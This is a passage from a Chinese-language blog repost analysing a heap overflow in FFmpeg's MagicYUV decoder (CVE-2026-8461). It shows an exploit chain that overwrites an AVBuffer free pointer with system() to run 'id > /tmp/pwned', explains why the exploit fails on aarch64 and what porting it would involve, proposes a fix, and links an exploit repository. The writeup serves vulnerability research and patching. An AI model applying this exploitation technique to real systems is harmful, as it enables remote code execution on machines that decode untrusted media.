&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; └─ add_left_pred() &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; left-prediction 解码 → 堆上出现期望值
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;├─ AVBuffer.free &nbsp;= system()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;└─ AVBuffer.opaque = "id > /tmp/pwned" 地址
&nbsp; &nbsp; &nbsp; &nbsp;└─ 帧清理:av_buffer_unref(Cb_buf)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; └─ refcount: 1 → 0
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;└─ b->free(b->opaque, b->data)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = system("id > /tmp/pwned")

成功写入文件。


8. 架构支持

本 PoC 在 x86_64 上开发和验证。aarch64 上的情况不同。

通过 auto_calibrate_nosym.py 在 aarch64 系统上测试,Phase 1 和 Phase 2 均能正常触发(av_buffer_create 断点命中,硬件监视点在 OOB 写入时触发),确认漏洞在 aarch64 上也存在。但 Phase 2 的堆转储中找不到有效的 glibc chunk,calibration 无法完成。

原因在于堆布局不同。在 aarch64 上,Cb 缓冲区(~10272 字节)被分配为一个 ~10288 字节的 glibc chunk。OOB_START = Cb_data + 10240 落在该 chunk 末尾 32 字节处,紧接着的下一个 chunk 是 Cr 缓冲区(同样 ~10288 字节)。这个大 chunk 的 next_off = 32 + 10288 = 10320,远超 640 字节的转储窗口,walk_chunks() 无法验证链有效。更根本的问题是:OOB 写入只有 640 字节,而 AVBuffer 在 aarch64 的堆布局中位于 OOB+10320 以外,写入内容根本触达不到 AVBuffer——不只是 calibration 失败,exploit 本身也不可行。

在 x86_64 上,-O2 和 -O0 -g 两种编译下 AVBuffer 恰好都落在 OOB+256 附近,是 glibc 在该架构上特定分配顺序的结果,不是设计保证。

要将 exploit 移植到 aarch64,需要先在 aarch64 上分析堆布局,确定 AVBuffer 相对于 Cb_data 的实际位置,再调整帧几何参数(例如加宽 WIDTH 以增大 OOB 写入窗口),使 OOB 写入能够覆盖到 AVBuffer 所在位置。这是独立的移植工作。


9. 修复建议

漏洞根源是 dst 指针用 sheight(未截断的标准高度)计算偏移,而写入循环用 height(截断后的实际高度)控制行数,两者不一致。

推荐修复(修改 dst 计算方式)

// 修复前(magicyuv.c:287)
dst = p->data[i] + j * sheight * stride;

// 修复后:在写入前验证 dst 不超出缓冲区边界
if&nbsp;(dst + (ptrdiff_t)height * stride > p->data[i] + buf_allocated_size)
&nbsp; &nbsp; return&nbsp;AVERROR_INVALIDDATA;

或者在分配缓冲区时以 sheight 而非 height 计算大小,确保 dst 跳到第 j 个 slice 时不会越界。

替代方案:在 magy_decode_init() 的几何参数校验阶段,检查 slice_height 与 coded_height 的组合是否会导致最后一个 slice 的 sheight > height,如果是则拒绝处理。这是更早的防线,不依赖逐帧检查。


10. EXP项目地址

https://github.com/Y5neKO/CVE-2026-8461-EXP


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Y5Sec Y5neKO Y5neKO《CVE-2026-8461(PixelSmash) – 分析及复现》

逻辑漏洞之注册模块 网络安全文章

逻辑漏洞之注册模块

文章总结: 本文详细剖析了Web应用注册模块中的逻辑漏洞,将其划分为身份缺陷、验证码机制和账号接管三大类,并列举了任意用户注册、越权注册VIP账号、验证码绕过、
评论:0   参与:  0